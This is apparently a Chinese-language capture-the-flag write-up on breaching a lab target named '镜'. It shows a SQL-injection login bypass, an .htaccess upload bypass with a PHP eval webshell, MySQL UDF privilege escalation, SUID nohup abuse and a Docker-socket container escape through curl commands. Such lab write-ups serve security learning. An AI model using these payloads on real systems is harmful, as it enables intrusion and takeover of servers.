不得不说 这一次的“镜”和上篇的“渊”名字还是不错的,这一次我们还是知道“镜”的 ip 为172.16.11.34
那就还是老规矩,先进行信息收集
获取到端口号了,上去看一眼

是一个登录页面,下方有浏览商品,点进去看到是一些安全商品,这些安全商品无法点击,没有看到有注入点,回到登录界面,从这里看看,试一试各种弱密码和万能钥匙,成功用钥匙 admin ' -- 登录成功,发现了一个文件上传的页面,这里就比较熟悉了


信息太少还要继续,用 Dirsearch 撞一下目录,发现了 .index.php.swp 这个文件,我们把她下载下来看看



回到文件上传这里,试了一下直接上传一个 php 文件发现不行,不能上传,于是改变思路,80端口开启的是 Apache服务,那是否可以利用 .htaccess 文件覆盖掉原本 Apache 的规则,并且上传一个伪装的 php 一句话木马,让它进行解析
于是构造
#又来覆盖原来 php 规则的 .htaccess
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
在构造一个
#一句话木马,欺骗服务器绕过php上传
GIF89a;
<?php @eval($_POST['cmd']); ?>
两个文件都上传成功,成功绕过,接下来就试一试传参是否成功

查看是否有敏感信息,发现了数据库账号和密码!


继续信息收集发现一个叫做 .dockerenv 的文件,即表明我们是在容器里面,既然是在容器里面,那么反弹shell上去没有太大意义,可以利用前面发现的数据库的信息,再次进去看看

登录成功

经过一整翻箱倒柜,最终在 mirror_shop→users 中发现 admin 的 flag1,泪目啊!!!!

接下里继续,我们手中的 mysql 是具有root权限的,secure_file_priv为空,plugin目录可写都指向了 UDF 提权

解密文件,并且转化为16进制(和web2很像)

写入 mysql

创立并且验证

利用创建好的函数进行寻找 flag,这里找到了一个但是他不是一开始我们就存储在数据库中的 flag ,想要进行查看,没有权限,需要进一步的提权。


查找具有 suid 权限的文件,发现了 /usr/bin/nohup ,这个是让命令在客户退出中断后可以继续运行的共轭能,一般来说是不需要root权限的,结果它现在有,那我们就可以利用这一点

拿到了 flag2,泪目啊!!!

获取目标已经告诉我了,一共有三个,刚刚利用函数扫盘都只发现了一个 flag ,那么大概率宿主机里面还有一个 flag3 ,真的太坏了,我告诉你,真的
我们还在容器里,你还记得,对吧,那我们就得先要逃出这个容器才行,那就要选取查看一下有没有特权逃逸特征的容器或者是否存在套接字,发现了套接字并且还有写的权利,那么我们就可以利用 docker api 去创建一个临时的容器,去搜索离家出走的flag3

构造一个payload,进行加解码,然后进行上传


创建临时的容器并且挂载到宿主机的根目录上

启动容器,利用容器查询flag3
#启动容器
SELECT sys_eval('curl --unix-socket /run/docker.sock -X POST http://localhost/containers/final_w
#利用容器查询flag3
SELECT sys_eval('curl --unix-socket /run/docker.sock http://localhost/containers/final_win/logs?stdout=1');
最后拿到
Flag3c2d5e8f1a3b76049d8e1c4b7f2a95d63
累了 生日打靶 你懂那种感觉吗?裂开

Comments | NOTHING